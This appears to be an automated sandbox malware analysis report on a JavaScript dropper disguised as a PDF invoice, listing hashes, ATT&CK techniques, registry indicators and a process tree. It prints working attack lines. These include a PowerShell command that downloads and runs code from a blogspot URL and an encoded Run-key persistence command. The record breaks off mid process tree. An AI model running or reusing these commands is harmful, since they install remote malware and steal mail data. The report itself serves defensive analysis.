58675f5771515e360d7cb592fd616e14a2159669df28d9f1c9e682beedaa0446

Analysis

max time kernel
148s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20260130-en
resource tags

arch:x64arch:x86image:win10v2004-20260130-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
29/04/2026, 09:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
invoice-1645080830.pdf (49).js
Size 22.6MB
Sample260429-llpd5aes3q
SHA256 58675f5771515e360d7cb592fd616e14a2159669df28d9f1c9e682beedaa0446
MD5 2e7140f9309c82ad794e77023689651c
SHA1 fd300a005a36c1fd2bdaed9055e18b96bb23de91
SHA512 2fefdef954cf7250502b37ffa69b772573c18c40110c4354eab4e1242054ddf6557c767e68a0def2656bcd06de6135aa18b92f66be2565255c4c71cf59aaae79
SSDEEP 49152:SU3pU3JU3GU3LU33U3NU3nU3RU3MU3BU3fU3BCD6U3bU3WU3aU3KU3pCDZU3XU3L:/
TLSH
T15E372384995A8F9F036C15486CFF124B17844F8F8218BE9E23C77896B5FCE5632DE684
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

adware collection discovery execution persistence spyware

Malware Config

Signatures

Badlisted process makes network request 10 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
11	3624	powershell.exe
13	3624	powershell.exe
15	3624	powershell.exe
18	368	powershell.exe
19	368	powershell.exe
30	368	powershell.exe
45	3372	powershell.exe
46	3372	powershell.exe
48	368	powershell.exe
50	368	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Control Panel\International\Geo\Nation	wscript.exe

Accesses Microsoft Outlook profiles 1 TTPs 42 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\17.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key opened	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\18.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\19.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\Software\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook	powershell.exe
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook	powershell.exe
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\draki541 = "conhost.exe --headless powershell.exe -nop -ep bypass -EC WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgA7ACAASQBuAHYAbwBrAGUALQBFAHgAcAByAGUAcwBzAGkAbwBuACAAKABJAFIATQAgAGgAdAB0AHAAcwA6AC8ALwBoAGkAbQBhAGMAaABhAGwAeQAxADcAYQBwAGwAcgAuAGIAbABvAGcAcwBwAG8AdAAuAGMAbwBtAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwAvAC8ALwBzAGMAbwBvAGIAYQAuAGQAbwBjAHgALgBwAGQAZgApADsAIABTAHQAYQByAHQALQBTAGwAZQBlAHAAIAAtAFMAZQBjAG8AbgBkAHMAIAA5ADIA"	powershell.exe

ConfuserEx .NET packer 1 IoCs

Detects ConfuserEx .NET packer.

resource	yara_rule
behavioral1/memory/368-44-0x0000017CAD170000-0x0000017CAD192000-memory.dmp	ConfuserEx

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217
Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3372	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	AcroRd32.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RdrCEF.exe

System Time Discovery 1 TTPs 1 IoCs

Adversary may gather the system time and/or time zone settings from a local or remote system.

discovery

System Time Discovery

T1124

pid	Process
3296	chrome.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemProductName	chrome.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemManufacturer	chrome.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
368	powershell.exe

Suspicious behavior: EnumeratesProcesses 60 IoCs

pid	Process
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
3624	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
368	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
3372	powershell.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
3372	powershell.exe
3200	chrome.exe
3200	chrome.exe
3372	powershell.exe
3372	powershell.exe
756	chrome.exe
756	chrome.exe
3372	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeIncreaseQuotaPrivilege	3624	powershell.exe
Token: SeSecurityPrivilege	3624	powershell.exe
Token: SeTakeOwnershipPrivilege	3624	powershell.exe
Token: SeLoadDriverPrivilege	3624	powershell.exe
Token: SeSystemProfilePrivilege	3624	powershell.exe
Token: SeSystemtimePrivilege	3624	powershell.exe
Token: SeProfSingleProcessPrivilege	3624	powershell.exe
Token: SeIncBasePriorityPrivilege	3624	powershell.exe
Token: SeCreatePagefilePrivilege	3624	powershell.exe
Token: SeBackupPrivilege	3624	powershell.exe
Token: SeRestorePrivilege	3624	powershell.exe
Token: SeShutdownPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeSystemEnvironmentPrivilege	3624	powershell.exe
Token: SeRemoteShutdownPrivilege	3624	powershell.exe
Token: SeUndockPrivilege	3624	powershell.exe
Token: SeManageVolumePrivilege	3624	powershell.exe
Token: 33	3624	powershell.exe
Token: 34	3624	powershell.exe
Token: 35	3624	powershell.exe
Token: 36	3624	powershell.exe
Token: SeIncreaseQuotaPrivilege	3624	powershell.exe
Token: SeSecurityPrivilege	3624	powershell.exe
Token: SeTakeOwnershipPrivilege	3624	powershell.exe
Token: SeLoadDriverPrivilege	3624	powershell.exe
Token: SeSystemProfilePrivilege	3624	powershell.exe
Token: SeSystemtimePrivilege	3624	powershell.exe
Token: SeProfSingleProcessPrivilege	3624	powershell.exe
Token: SeIncBasePriorityPrivilege	3624	powershell.exe
Token: SeCreatePagefilePrivilege	3624	powershell.exe
Token: SeBackupPrivilege	3624	powershell.exe
Token: SeRestorePrivilege	3624	powershell.exe
Token: SeShutdownPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeSystemEnvironmentPrivilege	3624	powershell.exe
Token: SeRemoteShutdownPrivilege	3624	powershell.exe
Token: SeUndockPrivilege	3624	powershell.exe
Token: SeManageVolumePrivilege	3624	powershell.exe
Token: 33	3624	powershell.exe
Token: 34	3624	powershell.exe
Token: 35	3624	powershell.exe
Token: 36	3624	powershell.exe
Token: SeIncreaseQuotaPrivilege	3624	powershell.exe
Token: SeSecurityPrivilege	3624	powershell.exe
Token: SeTakeOwnershipPrivilege	3624	powershell.exe
Token: SeLoadDriverPrivilege	3624	powershell.exe
Token: SeSystemProfilePrivilege	3624	powershell.exe
Token: SeSystemtimePrivilege	3624	powershell.exe
Token: SeProfSingleProcessPrivilege	3624	powershell.exe
Token: SeIncBasePriorityPrivilege	3624	powershell.exe
Token: SeCreatePagefilePrivilege	3624	powershell.exe
Token: SeBackupPrivilege	3624	powershell.exe
Token: SeRestorePrivilege	3624	powershell.exe
Token: SeShutdownPrivilege	3624	powershell.exe
Token: SeDebugPrivilege	3624	powershell.exe
Token: SeSystemEnvironmentPrivilege	3624	powershell.exe
Token: SeRemoteShutdownPrivilege	3624	powershell.exe
Token: SeUndockPrivilege	3624	powershell.exe
Token: SeManageVolumePrivilege	3624	powershell.exe
Token: 33	3624	powershell.exe
Token: 34	3624	powershell.exe
Token: 35	3624	powershell.exe
Token: 36	3624	powershell.exe

Suspicious use of FindShellTrayWindow 2 IoCs

pid	Process
3200	chrome.exe
3200	chrome.exe

Suspicious use of SetWindowsHookEx 8 IoCs

pid	Process
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
368	powershell.exe
4080	AcroRd32.exe
4080	AcroRd32.exe
368	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 4808 wrote to memory of 3624	4808	wscript.exe	86
PID 3624 wrote to memory of 4080	3624	powershell.exe	88
PID 1484 wrote to memory of 368	1484	conhost.exe	94
PID 4080 wrote to memory of 648	4080	AcroRd32.exe	96
PID 648 wrote to memory of 552	648	RdrCEF.exe	97
PID 648 wrote to memory of 3180	648	RdrCEF.exe	98
PID 648 wrote to memory of 3180	648	RdrCEF.exe	98
PID 648 wrote to memory of 1800	648	RdrCEF.exe	102
PID 648 wrote to memory of 3484	648	RdrCEF.exe	103
PID 648 wrote to memory of 3028	648	RdrCEF.exe	104
PID 368 wrote to memory of 3372	368	powershell.exe	108
PID 3372 wrote to memory of 3200	3372	powershell.exe	111
PID 3200 wrote to memory of 756	3200	chrome.exe	112
PID 3200 wrote to memory of 4056	3200	chrome.exe	113
PID 3200 wrote to memory of 3296	3200	chrome.exe	114
PID 3200 wrote to memory of 4980	3200	chrome.exe	115
PID 3200 wrote to memory of 416	3200	chrome.exe	116
PID 3200 wrote to memory of 3596	3200	chrome.exe	117
PID 3200 wrote to memory of 3060	3200	chrome.exe	118
PID 3200 wrote to memory of 1732	3200	chrome.exe	119
PID 3200 wrote to memory of 5156	3200	chrome.exe	120
PID 3200 wrote to memory of 5164	3200	chrome.exe	121
PID 3200 wrote to memory of 5456	3200	chrome.exe	122
PID 3372 wrote to memory of 756	3372	powershell.exe	112
PID 3372 wrote to memory of 756	3372	powershell.exe	112

outlook_office_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Office\20.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key queried	\REGISTRY\USER\S-1-5-21-745935970-1373868228-562466063-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (49).js"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4808
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 17
  2⤵
  - Badlisted process makes network request
  - Adds Run key to start application
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3624
- - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
    "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\Downloads\Document.pdf"
    3⤵
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Modifies Internet Explorer settings
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:4080
  - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
      "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:648
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=B230D9EF950274980B7E61CA958F7F74 --mojo-platform-channel-handle=1724 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:552
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=44E760DEBBC5AD5C3370EF30ECE12034 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=44E760DEBBC5AD5C3370EF30ECE12034 --renderer-client-id=2 --mojo-platform-channel-handle=1732 --allow-no-sandbox-job /prefetch:1
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3180
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=0DF5B2A9AF98288680BF743E1C74D7E0 --mojo-platform-channel-handle=2280 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1800
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
        "C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=01E27217465E11DD978CD9DA8FAB9069 --mojo-platform-channel-handle=1904 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3484
    - - C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
        
